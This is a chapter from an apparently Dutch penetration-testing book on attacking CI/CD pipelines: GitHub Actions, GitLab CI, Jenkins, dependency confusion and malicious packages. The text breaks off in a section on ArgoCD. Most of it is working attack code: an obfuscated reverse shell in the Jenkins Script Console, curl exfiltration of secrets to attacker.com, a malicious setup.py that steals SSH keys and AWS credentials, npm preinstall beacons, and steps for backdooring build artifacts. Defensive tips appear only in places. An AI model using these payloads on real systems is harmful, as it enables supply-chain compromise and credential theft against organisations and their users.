CI/CD Pipeline Aanvallen

Waarin we ontdekken dat de machines die onze software bouwen, testen en deployen dezelfde machines zijn die de sleutels tot het koninkrijk bewaken – en dat niemand de bewakers bewaakt.


7.1 De software supply chain

Waarom CI/CD het nieuwe aanvalsoppervlak is

Er was een tijd – niet eens zo lang geleden – dat software werd gebouwd op de laptop van een developer, gekopieerd naar een USB-stick, en door een systeembeheerder handmatig op een server gezet. Het was primitief, foutgevoelig en volstrekt onschaalbaar. Maar het had een eigenschap die we pas zijn gaan waarderen nu we die kwijt zijn: de aanvalsoppervlakte was beperkt tot de mensen die fysiek bij de server konden.

Nu wordt software gebouwd door geautomatiseerde systemen die code ophalen uit repositories, afhankelijkheden downloaden van publieke package managers, tests draaien in gedeelde omgevingen, secrets injecteren tijdens het build-proces, en het resultaat deployen naar productie – allemaal zonder dat een mens er naar kijkt. Het is efficienter. Het is schaalbaarder. En het is een nachtmerrie voor beveiliging.

Een CI/CD pipeline is, vanuit het perspectief van een aanvaller, het equivalent van een kluisruimte met een lopende band die er doorheen loopt. De kluis is stevig, de deur zit op slot, maar er is een gat in de muur waar de lopende band doorheen gaat. En op die lopende band liggen de sleutels tot het koninkrijk: deployment credentials, cloud tokens, signing keys, database wachtwoorden. Alles wat nodig is om software van code naar productie te brengen.

De term “keys to the kingdom” is geen hyperbool. Een gecompromitteerde CI/CD pipeline geeft je typisch toegang tot:

En het mooiste – vanuit het perspectief van de aanvaller – is dat dit allemaal geautomatiseerd is. Je hoeft niet handmatig bestanden te kopiëren of wachtwoorden in te typen. De pipeline doet het voor je. Je hoeft alleen maar de pipeline te overtuigen dat jouw code legitiem is.

De aanvalsketen

MITRE ATT&CK heeft de supply chain als aanvalsvector formeel erkend onder T1195 (Supply Chain Compromise). Maar de werkelijke impact gaat verder dan een enkele techniek. Een gecompromitteerde pipeline raakt meerdere tactieken:

Fase MITRE ATT&CK Wat de aanvaller bereikt
Code injection T1195.002 - Software Supply Chain Kwaadaardige code in de build
Secret theft T1552.001 - Credentials In Files Pipeline secrets exfiltreren
Artifact tampering T1195.002 Getrojaniseerde build-artefacten
Deployment abuse T1610 - Deploy Container Malicious deployment naar productie
Lateral movement T1021 - Remote Services Van CI/CD naar cloud/infra

De SolarWinds-aanval van 2020 was het moment waarop de wereld wakker werd. Aanvallers compromitteerden het build-systeem van SolarWinds en injecteerden een backdoor in een software-update die naar 18.000 organisaties werd gedistribueerd, waaronder het Amerikaanse ministerie van Financien en het Department of Homeland Security. De aanvallers hoefden geen netwerken te hacken – ze lieten de slachtoffers de backdoor zelf installeren, als een “vertrouwde” software-update.

Het was briljant. Het was verschrikkelijk. En het was onvermijdelijk.


7.2 CI/CD architectuur

Componenten

Elke CI/CD pipeline, ongeacht het platform, bestaat uit dezelfde basiscomponenten:

┌──────────────────────────────────────────────────────────────────┐
│                        CI/CD Pipeline                             │
│                                                                   │
│  ┌────────┐    ┌────────┐    ┌────────┐    ┌─────────────────┐   │
│  │ Source │───>│ Build  │───>│ Test   │───>│ Deploy          │   │
│  │ (Git)  │    │(Runner)│    │(Runner)│    │(Runner → Prod)  │   │
│  └────────┘    └────┬───┘    └────────┘    └────────┬────────┘   │
│                     │                               │             │
│              ┌──────┴──────┐                 ┌──────┴──────┐     │
│              │   Secrets   │                 │   Secrets   │     │
│              │   Manager   │                 │   Manager   │     │
│              └─────────────┘                 └─────────────┘     │
└──────────────────────────────────────────────────────────────────┘

Runners/Agents zijn de machines die de pipeline-stappen uitvoeren. Ze kunnen gedeeld (shared runners, beschikbaar voor meerdere projecten) of dedicated (self-hosted, specifiek voor een project) zijn. Shared runners zijn een beveiligingsrisico omdat code van verschillende projecten op dezelfde machine draait. Self-hosted runners zijn een risico omdat ze vaak in het interne netwerk staan en als springplank naar andere systemen kunnen dienen.

Pipelines zijn de gedefinieerde stappen die code doorloopt van commit tot deployment. Ze worden typisch beschreven in YAML-bestanden die in de repository zelf staan. Dit is het “pipeline as code” paradigma, en het is zowel een zegen als een vloek: het is versiebeheerd en reviewbaar, maar het betekent ook dat wie de code kan wijzigen, de pipeline kan wijzigen.

Environments zijn logische groepen van deployment-targets: development, staging, productie. Goed geconfigureerde pipelines vereisen handmatige goedkeuring voor deployment naar productie. Slecht geconfigureerde pipelines deployen automatisch. Raad eens welke variant vaker voorkomt.

Secrets Management is hoe de pipeline toegang krijgt tot credentials. De meest voorkomende patronen:

Methode Veiligheid Voorbeeld
Environment variables in UI Redelijk GitHub Secrets, GitLab CI Variables
Vault integratie Goed HashiCorp Vault, AWS Secrets Manager
OIDC federation Goed Workload Identity Federation
Hardcoded in pipeline YAML Catastrofaal password: SuperSecret123 in .gitlab-ci.yml
.env bestanden in repo Catastrofaal Credentials in version control

OIDC Federation verdient speciale aandacht omdat het de toekomst van secrets management in CI/CD is. In plaats van langlevende credentials op te slaan in de pipeline, vraagt de runner een kortlevend token aan bij de cloud provider, geauthenticeerd via het OIDC-token van het CI/CD platform. Geen secrets om te stelen, geen credentials om te roteren. Het is elegant. Het wordt ook nog lang niet overal gebruikt.

# Voorbeeld: GitHub Actions met AWS OIDC
jobs:
  deploy:
    permissions:
      id-token: write
      contents: read
    steps:
    - uses: aws-actions/configure-aws-credentials@v4
      with:
        role-to-assume: arn:aws:iam::123456789:role/GitHubActions
        aws-region: eu-west-1
    # Geen AWS_ACCESS_KEY_ID of AWS_SECRET_ACCESS_KEY nodig!

7.3 GitHub Actions Exploitation

Het aanvalsoppervlak

GitHub Actions is het meest gebruikte CI/CD platform ter wereld, geintegreerd in het platform waar de meeste open-source en veel closed-source code leeft. Het is krachtig, flexibel, en – als je niet oplet – een open deur naar je hele infrastructuur.

Expression injection

De meest elegante aanval op GitHub Actions is expression injection. GitHub Actions gebruikt ${{ }} syntax voor expressies, en sommige contexten worden als templates verwerkt voordat de shell ze uitvoert. Als een aanvaller controle heeft over de waarde van een expressie, kan hij willekeurige commando’s injecteren.

# KWETSBAAR: issue title wordt direct in de shell geïnjecteerd
name: Issue Handler
on:
  issues:
    types: [opened]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
    - run: |
        echo "Processing issue: ${{ github.event.issue.title }}"
        # Als de issue title is: "; curl https://attacker.com/steal?t=$(cat $GITHUB_TOKEN)"
        # wordt dit:
        # echo "Processing issue: "; curl https://attacker.com/steal?t=$(cat $GITHUB_TOKEN)

De aanval werkt omdat ${{ github.event.issue.title }} wordt vervangen door de letterlijke tekst van de issue title voordat het shell-commando wordt uitgevoerd. Er is geen escaping, geen sanitization. De aanvaller opent simpelweg een issue met een titel die shell-commando’s bevat.

Kwetsbare contexten:

Context Aanvaller controleert Risico
github.event.issue.title Issue titel Shell injection
github.event.issue.body Issue body Shell injection
github.event.pull_request.title PR titel Shell injection
github.event.pull_request.body PR body Shell injection
github.event.comment.body Comment Shell injection
github.event.review.body Review tekst Shell injection
github.event.commits[*].message Commit message Shell injection
github.head_ref Branch naam Shell injection
# VEILIG: gebruik een environment variable als tussenlaag
steps:
- name: Process issue
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
  run: |
    echo "Processing issue: $ISSUE_TITLE"
    # De waarde wordt nu als environment variable doorgegeven,
    # niet als template die in de shell wordt geïnjecteerd

Self-hosted runner abuse

Self-hosted runners zijn machines die een organisatie zelf beheert en registreert bij GitHub. Ze worden vaak gebruikt voor builds die toegang nodig hebben tot interne resources. Het probleem: als een aanvaller code kan uitvoeren op een self-hosted runner, heeft hij een foothold in het interne netwerk.

# Een pull request van een fork kan code uitvoeren op self-hosted runners
# ALS de workflow getriggerd wordt door pull_request
# EN self-hosted runners beschikbaar zijn voor het project
name: Build
on:
  pull_request:  # Triggert op PRs van forks!
jobs:
  build:
    runs-on: self-hosted  # Draait op de interne runner
    steps:
    - uses: actions/checkout@v4  # Checkt de code van de fork uit
    - run: make build            # Voert de code van de aanvaller uit

Wat een aanvaller op een self-hosted runner kan doen:

# Op de self-hosted runner (na het uitvoeren van een malicious PR):

# 1. Netwerk verkenning
ip addr
cat /etc/resolv.conf
nmap -sn 10.0.0.0/24

# 2. Credentials zoeken
find / -name ".env" -o -name "*.key" -o -name "kubeconfig" 2>/dev/null
cat ~/.docker/config.json
cat ~/.kube/config
cat ~/.aws/credentials

# 3. Andere workflow runs bespioneren (persistent runner)
ls -la /home/runner/actions-runner/_work/
# Bevat code en artefacten van eerdere builds

# 4. Runner registration token stelen
cat /home/runner/actions-runner/.credentials
cat /home/runner/actions-runner/.runner

# 5. Implant achterlaten (als de runner niet ephemeral is)
echo "* * * * * curl https://attacker.com/beacon" | crontab -
# Of pas de runner configuratie aan om bij elke build code uit te voeren

IB Tip: Controleer of self-hosted runners als ephemeral zijn geconfigureerd (--ephemeral flag). Ephemeral runners worden na elke job vernietigd en opnieuw aangemaakt, wat het risico van cross-job contaminatie elimineert. Non-ephemeral runners zijn een persistentie-goudmijn.

GITHUB_TOKEN permissions

Elke GitHub Actions workflow krijgt automatisch een GITHUB_TOKEN met permissies op de repository. De standaard permissies zijn aanzienlijk:

# Standaard GITHUB_TOKEN permissies (als niet beperkt):
permissions:
  actions: write
  checks: write
  contents: write     # KAN CODE PUSHEN!
  deployments: write
  issues: write
  packages: write
  pull-requests: write
  repository-projects: write
  security-events: write
  statuses: write
# Best practice: minimale permissies
permissions:
  contents: read
  # Voeg alleen toe wat nodig is
# Exfiltratie van GITHUB_TOKEN in een workflow
# Het token is beschikbaar als $GITHUB_TOKEN of ${{ secrets.GITHUB_TOKEN }}

# Stap 1: Lees het token
echo $GITHUB_TOKEN
# Of:
cat $GITHUB_TOKEN  # soms als bestand beschikbaar

# Stap 2: Gebruik het token om repository secrets te lezen
# (als het token voldoende permissies heeft)
curl -s -H "Authorization: token $GITHUB_TOKEN" \
    "https://api.github.com/repos/ORG/REPO/actions/secrets"

# Stap 3: Gebruik het token om code te pushen
git config user.name "bot"
git config user.email "bot@example.com"
git remote set-url origin https://x-access-token:$GITHUB_TOKEN@github.com/ORG/REPO.git
echo "backdoor" >> backdoor.sh
git add . && git commit -m "chore: update dependencies" && git push

# Stap 4: Lees de Organization secrets (als org-level token)
curl -s -H "Authorization: token $GITHUB_TOKEN" \
    "https://api.github.com/orgs/ORG/actions/secrets"

Secret exfiltration via artifacts

Workflow artefacten zijn bestanden die een job produceert en die door andere jobs of gebruikers kunnen worden gedownload. Als secrets per ongeluk in artefacten terechtkomen:

# KWETSBAAR: debug output bevat secrets
jobs:
  build:
    steps:
    - run: |
        echo "Debug: ENV=$(env)"  # Dumpt ALLE environment variables
        npm run build 2>&1 | tee build.log  # Build log bevat secret refs
    - uses: actions/upload-artifact@v4
      with:
        name: build-output
        path: |
          dist/
          build.log  # Bevat mogelijk gelekte secrets!
# Download artefacten via de GitHub API
# Lijst alle artefacten van een repository
curl -s -H "Authorization: token $TOKEN" \
    "https://api.github.com/repos/ORG/REPO/actions/artifacts" \
    | python3 -c "
import sys, json
for a in json.load(sys.stdin)['artifacts']:
    print(f\"{a['id']}: {a['name']} ({a['created_at']})\")
"

# Download een specifiek artefact
curl -sL -H "Authorization: token $TOKEN" \
    "https://api.github.com/repos/ORG/REPO/actions/artifacts/ARTIFACT_ID/zip" \
    -o artifact.zip
unzip artifact.zip
grep -rn -iE '(password|secret|key|token|credential)' .

pull_request_target: de gevaarlijke trigger

pull_request_target is een workflow trigger die draait in de context van de base branch, niet de PR-branch. Dit betekent dat de workflow toegang heeft tot de secrets van de base branch. Het is bedoeld voor vertrouwde acties op onvertrouwde PRs (zoals het labelen van PRs). Maar als de workflow code uitcheckt en uitvoert van de PR-branch:

# KWETSBAAR: pull_request_target + checkout van PR code
name: PR Build
on:
  pull_request_target:  # Draait met secrets van main branch!

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
      with:
        ref: ${{ github.event.pull_request.head.sha }}
        # Checkt de CODE VAN DE PR uit, maar draait met SECRETS VAN MAIN
    - run: npm install  # Voert package.json scripts uit van de PR
    - run: npm test     # Aanvaller controleert de tests

De aanvaller opent een PR met malicious code, en die code wordt uitgevoerd met de secrets van de main branch. Het is het equivalent van een bezoeker die zijn eigen bagage meebrengt naar de kluisruimte.

# VEILIG: gebruik pull_request_target alleen zonder code checkout
name: PR Label
on:
  pull_request_target:
    types: [opened]

jobs:
  label:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/github-script@v7
      with:
        script: |
          // Voer NOOIT code uit van de PR
          // Gebruik alleen de GitHub API
          await github.rest.issues.addLabels({
            owner: context.repo.owner,
            repo: context.repo.repo,
            issue_number: context.issue.number,
            labels: ['needs-review']
          })

7.4 GitLab CI Aanvallen

Shared runners: het gedeelde risico

GitLab CI shared runners zijn machines die door meerdere projecten worden gedeeld. Elke job draait in een container, maar de runners zelf zijn persistent:

# .gitlab-ci.yml - malicious pipeline
stages:
  - exploit

steal_secrets:
  stage: exploit
  script:
    # 1. Dump alle CI/CD variables
    - env | sort
    # CI/CD variables (gemarkeerd als "protected" of niet)
    # worden als environment variables beschikbaar gemaakt

    # 2. Zoek naar overgebleven artefacten van andere projecten
    - find /builds/ -name "*.env" -o -name "*.key" 2>/dev/null

    # 3. Als de runner Docker-in-Docker ondersteunt:
    - docker ps  # Andere containers op dezelfde runner?
    - docker images  # Cached images met secrets?

    # 4. Netwerk verkenning vanuit de runner
    - apt-get update && apt-get install -y nmap
    - nmap -sn 10.0.0.0/24

CI/CD variable extraction

GitLab CI/CD variables worden ingesteld op project-, groep- of instance-niveau. Ze zijn beschikbaar als environment variables in pipeline jobs:

# In een GitLab CI job:
# Alle variables zijn beschikbaar als env vars
env | grep -E '^(CI_|CUSTOM_|DB_|AWS_|DEPLOY_)'

# Protected variables zijn alleen beschikbaar op protected branches
# MAAR: als je toegang hebt tot een protected branch...
git checkout main  # of production, release, etc.
# ...dan zijn alle protected variables beschikbaar

# Masked variables worden verborgen in de build log
# MAAR: er zijn manieren om ze te onthullen
echo "$SECRET_VAR" | base64  # Base64-encoded output wordt niet gemasked
echo "$SECRET_VAR" | rev     # Omgekeerde tekst wordt niet gemasked
echo "$SECRET_VAR" > /tmp/secret.txt
cat /tmp/secret.txt          # Bestand output wordt niet gemasked
# .gitlab-ci.yml - extract protected variables
extract_vars:
  script:
    # Methode 1: schrijf naar bestand en upload als artifact
    - env > /tmp/all_vars.txt
    - base64 /tmp/all_vars.txt  # Omzeilt masking
  artifacts:
    paths:
      - /tmp/all_vars.txt
    expire_in: 1 hour
  only:
    - main  # Protected branch = protected variables beschikbaar

Protected branch bypass

Protected branches in GitLab vereisen merge requests met goedkeuringen. Maar er zijn omwegen:

# Methode 1: Als je maintainer bent, kun je direct pushen
# (tenzij "No one" is geconfigureerd voor push access)
git push origin main

# Methode 2: Branch protection rules zijn soms te specifiek
# Protected branch: "main"
# Maar niet: "Main", "MAIN", of "refs/heads/main"
# (case-sensitivity afhankelijk van configuratie)

# Methode 3: Tags kunnen soms worden gepusht zonder review
git tag -a v1.0.0 -m "Release"
git push origin v1.0.0
# Als de pipeline triggert op tags en protected variables beschikbaar zijn...

# Methode 4: Merge request approval bypass via API
# Als de minimale approvals op 1 staat en je zelf kunt approven:
curl -X POST "https://gitlab.com/api/v4/projects/ID/merge_requests/MR_ID/approve" \
    -H "PRIVATE-TOKEN: $GITLAB_TOKEN"

Include directive abuse

GitLab CI ondersteunt include directives die externe YAML-bestanden laden:

# .gitlab-ci.yml met include
include:
  - project: 'shared/ci-templates'
    file: '/templates/build.yml'
    ref: main
  - remote: 'https://internal-server.com/pipeline.yml'
  - local: '/ci/deploy.yml'

# AANVAL: als je de included bron kunt wijzigen,
# wijzig je effectief de pipeline van het doelproject
# zonder die repo direct aan te raken
# Aanval op 'remote' include:
# Als je de webserver beheert die de YAML host,
# of DNS kunt manipuleren om het verzoek te redirecten:

# malicious pipeline.yml op attacker's server
stages:
  - pwn

exfiltrate:
  stage: pwn
  script:
    - env | curl -X POST -d @- https://attacker.com/collect
  # Dit wordt uitgevoerd in de context van het doelproject
  # met al zijn CI/CD variables en secrets

7.5 Jenkins Exploitation

Het olifant in de kamer

Jenkins is het oudste en meest verspreide CI/CD platform. Het is ook, met enige regelmaat, het meest onveilige. Jenkins-instanties die open staan op het internet, met standaard credentials of zonder authenticatie, zijn zo gewoon dat ze nauwelijks nog nieuwswaarde hebben. Het is als een stadspark – iedereen weet dat het er is, iedereen kan erin, en niemand lijkt zich daar zorgen over te maken.

Script Console RCE

De Jenkins Script Console (/script) is een Groovy-interpreter die code uitvoert op de Jenkins master met de rechten van het Jenkins-proces (vaak root of SYSTEM):

// Jenkins Script Console - Remote Code Execution
// URL: https://JENKINS/script

// Commando uitvoeren
println "whoami".execute().text
println "id".execute().text
println "cat /etc/shadow".execute().text

// Reverse shell
def cmd = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}"
println cmd.execute().text

// Bestanden lezen
new File("/etc/passwd").text

// Environment variables (bevat vaak secrets)
System.getenv().each { k, v -> println "$k=$v" }

// Jenkins credentials uitlezen
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import jenkins.model.Jenkins

def creds = CredentialsProvider.lookupCredentials(
    StandardUsernamePasswordCredentials.class,
    Jenkins.instance, null, null
)
creds.each {
    println "ID: ${it.id}"
    println "Username: ${it.username}"
    println "Password: ${it.password}"
    println "---"
}

IB Tip: De Jenkins Script Console vereist normaal gesproken admin-toegang, maar misconfiguraties komen voor. Test altijd /script en /scriptText (de API-variant). Sommige Jenkins-installaties hebben anonymous access tot de Script Console – een situatie die net zo absurd is als het klinkt.

Groovy sandbox escapes

Jenkins Pipeline scripts draaien in een Groovy sandbox die gevaarlijke operaties beperkt. Maar de sandbox is herhaaldelijk omzeild:

// Historische sandbox escapes (ter illustratie):

// Via meta-programming
// CVE-2019-1003000 en varianten
@Grab('commons-io:commons-io:2.6')
import org.apache.commons.io.IOUtils

// Via AST transformations
@groovy.transform.ASTTest(value = {
    assert java.lang.Runtime.getRuntime().exec("id")
})
class Exploit {}

// Moderne pipelines: gebruik de "Script Security" plugin bypass
// Vraag de admin om een script te "approven" via Social Engineering

Credential stores

Jenkins slaat credentials op in een versleutelde store, maar de encryptiesleutel staat op het Jenkins-filesysteem:

# Op het Jenkins-filesysteem (na compromitteren van de master):

# Credentials zijn opgeslagen in:
cat /var/lib/jenkins/credentials.xml
# Of:
cat $JENKINS_HOME/credentials.xml

# De encryptiesleutel:
cat /var/lib/jenkins/secrets/master.key
cat /var/lib/jenkins/secrets/hudson.util.Secret

# Decryptie met jenkins-credentials-decryptor:
# https://github.com/hoto/jenkins-credentials-decryptor
jenkins-credentials-decryptor \
    -m /var/lib/jenkins/secrets/master.key \
    -s /var/lib/jenkins/secrets/hudson.util.Secret \
    -c /var/lib/jenkins/credentials.xml

# Of via de Script Console (als je web-toegang hebt):
println hudson.util.Secret.decrypt("{AQAAABAAAAAw...}")

Pipeline as code injection

Als je een Jenkinsfile kunt wijzigen in een repository, kun je de pipeline kapen:

// Malicious Jenkinsfile
pipeline {
    agent any
    stages {
        stage('Build') {
            steps {
                // Normaal uitziende build stap
                sh 'mvn clean install'
            }
        }
        stage('Deploy') {
            steps {
                // Exfiltreer credentials
                withCredentials([
                    usernamePassword(
                        credentialsId: 'prod-deploy',
                        usernameVariable: 'DEPLOY_USER',
                        passwordVariable: 'DEPLOY_PASS'
                    ),
                    string(
                        credentialsId: 'aws-secret',
                        variable: 'AWS_KEY'
                    )
                ]) {
                    sh '''
                        # Ziet eruit als een deployment check
                        curl -s "https://attacker.com/collect" \
                            -d "user=$DEPLOY_USER" \
                            -d "pass=$DEPLOY_PASS" \
                            -d "aws=$AWS_KEY"
                    '''
                }
            }
        }
    }
}

7.6 Secrets in Pipelines

Het onvermijdelijke lek

Hier is het fundamentele probleem met secrets in CI/CD: de pipeline moet toegang hebben tot secrets om zijn werk te doen. Het moet kunnen deployen, dus het heeft deployment credentials nodig. Het moet naar de database, dus het heeft het wachtwoord nodig. Het moet images pushen, dus het heeft registry credentials nodig.

De vraag is niet of secrets in de pipeline zitten, maar hoe goed ze beschermd zijn. En het antwoord is, in de meeste gevallen, teleurstellend.

Environment variable leaks

# In elke CI/CD omgeving:
env | sort
# Toont ALLE environment variables, inclusief secrets
# die via de CI/CD configuratie zijn geïnjecteerd

# Specifieke patronen om te zoeken:
env | grep -iE '(password|secret|key|token|credential|api_key|access_key)'

# AWS credentials
env | grep AWS
# AWS_ACCESS_KEY_ID=AKIA...
# AWS_SECRET_ACCESS_KEY=wJal...
# AWS_SESSION_TOKEN=...

# Database credentials
env | grep -iE '(db_|database_|mysql_|postgres_|mongo_)'
# DB_PASSWORD=SuperSecret123

# Cloud provider tokens
env | grep -iE '(gcp_|google_|azure_|arm_)'

Build log secrets

Build logs zijn een veelvoorkomende bron van gelekte secrets. Ondanks masking door het CI/CD platform:

# Methode 1: Debug mode
# Veel build tools dumpen environment variables in verbose/debug mode
npm install --verbose 2>&1  # Kan registry tokens tonen
pip install -r requirements.txt -v  # Kan index URLs met credentials tonen
terraform plan 2>&1  # Kan provider credentials tonen

# Methode 2: Error messages
# Foutmeldingen bevatten vaak de waarden die het probleem veroorzaken
curl -u "admin:$SECRET_PASSWORD" https://internal-api.com/endpoint
# Als de curl faalt, kan de foutmelding de volledige URL met credentials tonen

# Methode 3: Stack traces
# Applicatie-crashes dumpen soms de environment of configuratie
python -c "import os; raise Exception(os.environ)"

Artifact secrets

# Veelvoorkomende bestanden met secrets in build artefacten:
# .env bestanden
# docker-compose.yml met hardcoded credentials
# terraform.tfstate (bevat ALLE infrastructure state inclusief passwords)
# kubeconfig bestanden
# .npmrc met registry tokens
# pip.conf met index URLs
# settings.xml (Maven) met repository credentials
# gradle.properties met signing keys

# Terraform state is bijzonder gevaarlijk:
cat terraform.tfstate | python3 -c "
import sys, json
state = json.load(sys.stdin)
for resource in state.get('resources', []):
    for instance in resource.get('instances', []):
        attrs = instance.get('attributes', {})
        for key, value in attrs.items():
            if any(s in key.lower() for s in ['password', 'secret', 'key', 'token']):
                print(f'{resource[\"type\"]}.{resource[\"name\"]}: {key}={value}')
"

.env bestanden in repositories

# Zoek naar .env bestanden in de git history
git log --all --full-history -- "*.env"
git log --all --full-history -- ".env*"

# Haal een verwijderd .env bestand op
git log --diff-filter=D -- .env
git show COMMIT_HASH:.env

# Zoek in de volledige git history naar secrets
# truffleHog
trufflehog git file:///path/to/repo

# git-secrets
git secrets --scan-history

# gitleaks
gitleaks detect --source /path/to/repo --verbose

IB Tip: terraform.tfstate bestanden zijn de heilige graal van CI/CD secrets. Ze bevatten de volledige staat van de infrastructuur, inclusief alle wachtwoorden, API keys en connection strings die Terraform heeft aangemaakt of gebruikt. Zoek altijd naar tfstate-bestanden in repositories, artefacten en S3 buckets.


7.7 Dependency Confusion

Het naamgevingsprobleem

Dependency confusion is een van die aanvallen die zo eenvoudig is dat je je afvraagt waarom niemand er eerder aan heeft gedacht. Het concept: veel organisaties hebben interne packages met namen die niet bestaan op publieke package managers. Als een aanvaller een package met dezelfde naam publiceert op de publieke registry, en de build-tool de publieke versie verkiest boven de private versie, wordt de kwaadaardige code geinstalleerd.

Het is naamkaping, maar dan voor software.

De aanval in detail

# Stap 1: Ontdek interne package namen
# Via error messages in build logs
# Via package.json / requirements.txt / .csproj in publieke repos
# Via npm/pip install output die naar een private registry wijst
# Via DNS-verzoeken (als je het netwerk kunt sniffen)

# Voorbeeld: package.json met interne packages
{
  "dependencies": {
    "react": "^18.0.0",          // Publiek - bestaat op npm
    "company-utils": "^1.2.3",    // Intern - bestaat NIET op npm
    "company-auth": "^2.0.0"      // Intern - bestaat NIET op npm
  }
}
# Stap 2: Publiceer een malicious package met dezelfde naam
# maar een HOGER versienummer

# npm
mkdir company-utils && cd company-utils
npm init -y
# Zet het versienummer hoger dan de interne versie
cat > package.json << 'EOF'
{
  "name": "company-utils",
  "version": "99.0.0",
  "scripts": {
    "preinstall": "curl https://attacker.com/collect?pkg=company-utils&host=$(hostname)"
  }
}
EOF
npm publish

# PyPI
cat > setup.py << 'EOF'
from setuptools import setup
from setuptools.command.install import install
import os

class PostInstall(install):
    def run(self):
        install.run(self)
        os.system("curl https://attacker.com/collect?pkg=company-utils")

setup(
    name="company-utils",
    version="99.0.0",
    cmdclass={"install": PostInstall}
)
EOF
python3 setup.py sdist
twine upload dist/*

# NuGet
# Vergelijkbaar patroon met .csproj en pre/post build events

Waarom het werkt: de meeste package managers geven voorkeur aan hogere versienummers. Als de interne versie 1.2.3 is en de publieke versie 99.0.0, installeert de build-tool de publieke versie. De preinstall of postinstall scripts worden automatisch uitgevoerd – op de build server, met de rechten van de CI/CD runner, met toegang tot alle pipeline secrets.

Typosquatting

Verwant aan dependency confusion, maar subtieler:

# Voorbeelden van typosquats:
# Origineel:      Typosquat:
# lodash          1odash (L vs 1)
# requests        requets (letters omgedraaid)
# python-dateutil python-dateutill (extra l)
# colors          colour (Brits Engels)
# express         expresss (extra s)

# Automatische typosquat-generatie:
# - Letter omwisseling: ab -> ba
# - Letter toevoeging: abc -> abbc
# - Letter verwijdering: abc -> ac
# - Letter vervanging: abc -> adc
# - Homoglyphen: l -> 1, O -> 0, rn -> m

Namespace confusion

# npm scoped packages
# Intern: @company/utils (scoped)
# Aanvaller kan niet: @company/utils publiek aanmaken (scope is beschermd)
# Maar als het interne package NIET scoped is:
# Intern: company-utils (niet scoped)
# Aanvaller kan WEL: company-utils op npm publiceren

# PyPI heeft geen scopes
# Intern: company-utils
# Aanvaller: company-utils op PyPI = dependency confusion

# Verdediging: gebruik ALTIJD scoped/namespaced packages
# npm: @company/utils
# NuGet: Company.Utils met reserved prefix
# PyPI: publiceer een placeholder met dezelfde naam

7.8 Supply Chain Aanvallen

Compromised Actions en Orbs

GitHub Actions en CircleCI Orbs zijn herbruikbare workflow-componenten. Ze worden gereferereerd op naam en versie, en ze draaien met de permissies van de workflow die ze aanroept:

# GitHub Actions - verwijzen naar een action
steps:
- uses: actions/checkout@v4           # Officieel, veilig
- uses: random-user/deploy-action@v1  # Wie is random-user?
- uses: company/internal-action@main  # Wat als iemand main pusht?

# HET RISICO: als "random-user" zijn GitHub account wordt gecompromitteerd,
# of als hij besluit kwaadaardige code toe te voegen aan v1,
# draait die code in JOUW pipeline met JOUW secrets
# VEILIG: pin actions op een specifieke commit SHA
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11  # v4.1.1
# Nu maakt het niet uit of de tag wordt verplaatst --
# je gebruikt altijd dezelfde code

# Maar wie controleert die SHA? En wanneer update je?
# En wat als de action dependency heeft op ANDERE actions?
# Supply chain security is een eindeloze keten van vertrouwen.

De realiteit is dat de meeste organisaties actions pinnen op tags (@v1, @v4) die door de eigenaar op elk moment naar willekeurige code kunnen worden verwezen. Het is alsof je een aannemer vertrouwt omdat hij vorig jaar goed werk leverde, zonder te controleren of hij dit keer dezelfde ploeg meebrengt.

Malicious packages

# Veelvoorkomende technieken in malicious packages:

# 1. Postinstall scripts
# package.json:
"scripts": {
    "postinstall": "node malicious.js"
}

# 2. Import-time code execution
# Python: code in __init__.py of setup.py draait bij import/install
# Ruby: code in gemspec draait bij install
# Go: init() functies draaien bij import

# 3. Typosquatting + credential theft
# malicious setup.py:
import os, json, base64, urllib.request
data = {
    "hostname": os.uname().nodename,
    "env": dict(os.environ),
    "ssh_keys": [],
    "aws_creds": None
}
# Verzamel SSH keys
for f in [os.path.expanduser("~/.ssh/id_rsa"), os.path.expanduser("~/.ssh/id_ed25519")]:
    try:
        data["ssh_keys"].append(open(f).read())
    except: pass
# Verzamel AWS credentials
try:
    data["aws_creds"] = open(os.path.expanduser("~/.aws/credentials")).read()
except: pass
# Exfiltreer
urllib.request.urlopen(urllib.request.Request(
    "https://attacker.com/collect",
    data=json.dumps(data).encode(),
    headers={"Content-Type": "application/json"}
))

Build artifact tampering

# Als je toegang hebt tot de artifact storage (S3 bucket, Artifactory, etc.):

# Stap 1: Download het originele artefact
aws s3 cp s3://company-artifacts/webapp/v2.1.0/webapp.jar ./

# Stap 2: Decompileer en modificeer
# Voor Java:
unzip webapp.jar -d webapp
# Voeg een backdoor klasse toe
javac -cp webapp Backdoor.java
cp Backdoor.class webapp/com/company/

# Stap 3: Hercompileer en upload
cd webapp && jar cf ../webapp-modified.jar . && cd ..
aws s3 cp webapp-modified.jar s3://company-artifacts/webapp/v2.1.0/webapp.jar

# Voor npm packages:
npm pack company-webapp
tar xzf company-webapp-2.1.0.tgz
# Modificeer package/index.js
# Herpack en upload

# Stap 4: Wacht tot de volgende deployment het getamperde artefact gebruikt

7.9 ArgoCD en GitOps

De GitOps belofte

GitOps is het principe dat de gewenste staat van je infrastructuur in een Git-repository staat. ArgoCD is de meest populaire GitOps-tool voor Kubernetes: het synchroniseert Kubernetes-manifesten vanuit Git naar het cluster. Elke wijziging in Git wordt automatisch gedeployd.

Het klinkt elegant. Het is elegant. Maar het verplaatst het beveiligingsprobleem van “wie heeft toegang tot het cluster” naar “wie heeft toegang tot de Git-repository.” En Git-repositories zijn, zoals we hebben gezien, niet altijd zo goed beveiligd als men denkt.

ArgoCD aanvalsoppervlak

# ArgoCD standaard poorten
# 443/8080 - ArgoCD API Server (web UI + API)
# 8083 - ArgoCD Repo Server

# Stap 1: Ontdek ArgoCD
nmap -p 443,8080,8083 -sV TARGET

# Stap 2: Test standaard credentials
# ArgoCD < 1.9: admin / (leeg wachtwoord)
# ArgoCD >= 1.9: admin / (initieel wachtwoord in een Secret)
argocd login ARGOCD_SERVER --username admin --password ''
argocd login ARGOCD_SERVER --username admin --password 'admin'

